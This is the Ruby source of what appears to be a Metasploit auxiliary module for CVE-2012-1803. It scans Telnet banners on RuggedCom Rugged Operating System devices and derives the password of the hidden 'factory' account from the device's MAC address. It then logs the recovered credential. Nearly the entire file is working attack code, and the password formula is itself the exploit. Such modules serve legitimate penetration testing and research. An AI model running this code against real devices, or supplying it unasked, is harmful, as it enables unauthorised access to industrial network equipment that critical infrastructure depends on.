111 lines
3.2 KiB
Ruby
111 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Telnet
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'RuggedCom Telnet Password Generator',
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'Description' => %q{
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This module will calculate the password for the hard-coded hidden username
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"factory" in the RuggedCom Rugged Operating System (ROS). The password is
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dynamically generated based on the devices MAC address.
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},
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'References' =>
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[
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[ 'CVE', '2012-1803' ],
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[ 'EDB', '18779' ],
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[ 'US-CERT-VU', '889195' ]
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],
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'Author' => [
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'Borja Merino <bmerinofe[at]gmail.com>',
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'jc' # ExploitDB PoC
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],
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'License' => MSF_LICENSE
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))
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register_options(
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[
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Opt::RPORT(23),
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OptString.new('USERNAME', [ true, 'The username to authenticate as', 'factory']),
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OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30])
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])
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end
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def mac_to_password(mac)
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print_status ("MAC Address: #{mac}")
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mac_clean = mac.gsub("-","")
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mac_reverse = mac_clean.each_char.each_slice(2).to_a.reverse.join
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mac_reverse << "0000"
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pass = mac_reverse.hex % 999999929
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print_status ("Password: #{pass}")
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return pass.to_s
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end
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def get_info(banner)
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product = banner.match(/Product:\s*\S*/)[0]
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so_version = banner.match(/Rugged Operating System\s\S*/)[0]
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return so_version << " " << product
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: 'telnet',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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last_attempted_at: DateTime.now,
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::SUCCESSFUL,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def run_host(ip)
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to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
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begin
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::Timeout.timeout(to) do
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res = connect
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banner_santized = Rex::Text.to_hex_ascii(banner.to_s)
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if banner_santized =~ /Rugged Operating System/
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print_status("#{ip}:#{rport} Calculating Telnet password ...")
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mac = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0]
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password = mac_to_password(mac)
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info = get_info(banner_santized)
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report_cred(ip: rhost, port: rport, user:'factory', password: password, proof: banner_santized)
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break
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else
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print_status("It doesn't seem to be a RuggedCom service.")
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break
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end
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end
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rescue ::Rex::ConnectionError
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rescue Timeout::Error
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print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.")
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end
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end
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end
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